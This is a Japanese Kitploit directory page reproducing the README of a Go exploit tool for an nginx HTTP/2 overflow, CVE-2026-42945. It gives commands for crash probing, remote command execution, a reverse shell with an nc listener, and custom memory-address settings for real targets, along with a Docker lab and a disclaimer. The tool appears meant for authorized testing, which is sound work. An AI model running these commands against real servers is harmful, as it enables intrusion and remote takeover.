Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-42945 — GoベースのCVE-2026-42945(nginx HTTP/2)向けエクスプロイトツール。検出、クラッシュプローブ、コマンド実行、リバースシェル機能を備え、許可されたセキュリティテスト用に設計されています。 | Kitploit
ツール/GitHubGitHub/redcrazyghost/cve-2026-42945
脆弱性分析エクスプロイトウェブアプリケーション悪用ファジングペネトレーションテストバイナリエクスプロイト
GitHubredcrazyghost/cve-2026-42945

CVE-2026-42945

GoベースのCVE-2026-42945(nginx HTTP/2)向けエクスプロイトツール。検出、クラッシュプローブ、コマンド実行、リバースシェル機能を備え、許可されたセキュリティテスト用に設計されています。

リポジトリを見る
123ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-42945 PoC(Go)

中文 | English

nginx HTTP/2 実装(CVE-2026-42945) に対する探索・悪用補助ツールで、認可された環境で脆弱性の有無を確認し、修正効果と比較し、制御された実験環境でPoCの動作を再現するためのものです。

影響を受けるバージョン(おおよその判断):nginx 0.6.27 – 1.30.0;1.30.1+ / 1.31.0+ は修正済み。


⚠️ 免責事項(必読)

このリポジトリは、セキュリティ研究、脆弱性確認、防御テスト専用です。

  1. 合法的な許可:明確な書面による許可があるか、完全にあなたが所有するシステムでのみ本ツールを使用できます。無許可での他者のネットワーク・サーバーのスキャン、探索、攻撃は違法行為であり、作者および貢献者は一切の法的責任を負いません。
  2. 自己責任:悪用プロセスにより、対象サービスのワーカークラッシュ、業務中断、データ破損が発生する可能性があります。影響を自ら評価し、隔離環境で事前に検証する必要があります。
  3. 無保証:本ツールは「現状のまま」提供され、いかなる実運用環境でも正常に悪用できることを保証しません。サイドチャネルの結果はRCE達成と同義ではありません。ファイル書き込み、コマンド出力、リバースシェルなどによる独立した検証が必要です。
  4. 悪用禁止:本ツールを許可されていないシステムへの侵入、ランサムウェア、破壊、マイニング、その他違法な目的で使用することを禁じます。ダウンロード、コンパイル、または使用した時点で、本免責事項を読み同意したものとみなします。
  5. NGINX公式とは無関係:本プロジェクトは独立した研究実装であり、NGINX公式またはいかなるベンダーの立場も代表しません。

上記の条項に同意できない場合は、直ちに使用を中止し、このリポジトリを削除してください。


機能概要

モード説明
-check-only接続性、Serverヘッダ、バージョンおおよその判断、PoCエンドポイント探索
-probe-crash1回のオーバーフロー探索を送信し、ワーカークラッシュのサイドチャネルで判断
-cmdエクスプロイトペイロードを構築し、system() 経由で指定コマンドを実行
-shellリバースシェル(-lhost が必要、ローカル側で nc が必要)
-dockerローカルDocker実験環境(vuln / fixed)を一括テスト

環境要件

  • Go ≥ 1.26(go.mod 参照)
  • オプション:Docker + docker compose(ローカル実験環境)
  • オプション:make、golangci-lint(開発/コードチェック)
  • 悪用検証:対象はPoCに必要なエンドポイント(GET /api/、POST /spray など)を公開している必要があります。Docker実験イメージには組み込み済み。

制限と適用環境

項目説明
プロトコル平文HTTPのみ(net.Dial + 生のHTTPバイト)、HTTPS/TLSは非対応。-port 443 などのTLSポートには、事前にTLS終端を行うか、HTTPポートを使用してください。
Docker実験イメージは linux/amd64 で、初回 docker compose build ではnginxをソースからコンパイルするため時間がかかります。コンテナ内では setarch -R でASLRを無効にしており、本番環境とは大きく異なります。
Apple SiliconローカルDockerは platform: linux/amd64 でエミュレーション実行されるため、速度が遅くなります。
リバースシェル-shell はシステムの nc に依存します。Windowsでは手動でリスナーを立てることを推奨します。
悪用判定サイドチャネル(ワーカークラッシュ)はRCEと同義ではありません。コマンドの副作用を独立して検証する必要があります。

ビルド

root@kitploit:~
# クイックビルド(bin/ に出力、.gitignore により無視)
make build-cmd

# または直接 go を使用
go build -o ./bin/cve-2026-42945 ./cmd

# 埋め込みバージョンを表示
./bin/cve-2026-42945 -version

リリース版バイナリ: Releases から該当プラットフォームの cve-2026-42945-<os>-<arch> をダウンロード(v* タグをプッシュ後、GitHub Actions が自動ビルド)。


使用ガイド

コマンドライン引数

root@kitploit:~
-target string      ターゲットIP/ホスト名(デフォルト 127.0.0.1)
-port int           ターゲットポート(0=80;Docker 脆弱版では 19321 をよく使用)
-docker             ローカルDocker実験環境をテスト(vuln:19321, fixed:19331)
-check-only         プローブのみ、エクスプロイトトラフィックは送信しない
-probe-crash        オーバーフロー探索 + ワーカークラッシュサイドチャネル
-cmd string         system() 経由で実行するコマンド
-shell              リバースシェル(-lhost が必要)
-lhost string       リバースシェル ローカルIP
-lport int          リバースシェル ローカルポート(デフォルト 4444)
-docker-profile     deploy/docker の実測ヒープ/libcベースアドレスを使用
-heap-base string   ヒープベースアドレス(16進数、例 0x555555659000)
-libc-base string   libcベースアドレス(16進数)
-tries int          各ヒープ候補の試行回数(デフォルト 10)
-timeout int        単一HTTPのタイムアウト秒数(デフォルト 5)
-v                  詳細出力
-version            バージョン表示後に終了

-docker モードは -cmd / -shell と同時に使用できません。単一ターゲットの悪用には -port 19321 を指定してください。

1. ターゲットの探索のみ

root@kitploit:~
./bin/cve-2026-42945 -target 192.168.1.10 -port 80 -check-only

2. クラッシュサイドチャネル(単一ターゲット)

root@kitploit:~
./bin/cve-2026-42945 -port 19321 -probe-crash -v

3. Docker実験環境の比較

まず実験コンテナを起動:

root@kitploit:~
make docker-up
# または
docker compose -f deploy/docker-compose.yml up -d --build

初回ビルドはnginxのコンパイルが必要なため、数分かかる場合があります。docker compose ps でサービスが healthy になった後に make test-lab を実行してください。

サービスポート説明
vuln19321nginx 1.30.0(影響あり)
fixed19331nginx 1.30.1(修正済み)

一括探索:

root@kitploit:~
./bin/cve-2026-42945 -docker -check-only
./bin/cve-2026-42945 -docker -probe-crash

またはMakefileのショートカットターゲットを使用:

root@kitploit:~
make test-lab          # check + probe
make cmd-exploit       # vulnに /tmp/pwned を書き込み、検証コマンドを表示

4. Docker vuln上でコマンド実行(RCE検証)

実験コンテナは ASLR無効(setarch -R)かつ -docker-profile でベースアドレスを事前設定している場合に成功率が最も高くなります:

root@kitploit:~
./bin/cve-2026-42945 -port 19321 -docker-profile \
  -cmd 'echo pwned > /tmp/pwned' -v

# ファイルが書き込まれたか確認
docker exec nginx-rift-vuln-1.30.0 cat /tmp/pwned

5. リバースシェル

root@kitploit:~
# 端末1:ツールを起動(バックグラウンドでncリスナーを試行)
./bin/cve-2026-42945 -port 19321 -docker-profile -shell -lhost 10.0.0.5 -lport 4444 -v

# ncが見つからない場合は、別端末で手動リスナーを起動:
nc -lvnp 4444

6. カスタムメモリレイアウト

実ターゲットのASLRやlibcバージョンがDockerと異なる場合、ベースアドレスを自らリークまたは推測する必要があります:

root@kitploit:~
# ターゲットは平文HTTPポート(TLS不可)であること
./bin/cve-2026-42945 -target TARGET -port 8080 \
  -heap-base 0x555555659000 \
  -libc-base 0x7ffff77ba000 \
  -cmd 'id' -tries 20 -v

結果の解釈

  • [+] サイドチャネル: ワーカー異常:ワーカーがオーバーフローによりクラッシュした可能性があることを示すのみで、単独でRCE成功の根拠にはなりません。
  • 二次検証が必要:コマンドの副作用(ファイル、プロセス、docker exec など)を確認してください。
  • よくある失敗原因:ASLR有効、libc/ヒープオフセットの誤り、PoCエンドポイントが利用不可、WAF/レート制限、コンテナの再起動が必要。

プロジェクト構成

root@kitploit:~
cmd/                 メインプログラムエントリ
internal/rift/       探索、ペイロード構築、悪用ロジック
deploy/docker/       nginx 1.30.0 / 1.30.1 実験イメージ
deploy/docker-compose.yml
.github/workflows/   マルチプラットフォームリリースビルド

開発

root@kitploit:~
make help            # すべてのmakeターゲットを表示
make test            # ユニットテスト
make lint            # golangci-lint
make version         # 現在のビルドバージョン番号を表示

新バージョンのリリース:

root@kitploit:~
git tag v1.0.0
git push origin v1.0.0

参考

  • リポジトリ:https://github.com/RedCrazyGhost/CVE-2026-42945
  • CVE:CVE-2026-42945(nginx HTTP/2 関連の脆弱性。公式発表を参照してください)
  • ライセンス:MIT License
  • セキュリティ問題:SECURITY.md

改めて注意

テストする権限があるシステムでのみ本ツールを使用してください。 いかなる悪用行為も作者とは無関係です。

ツールをダウンロード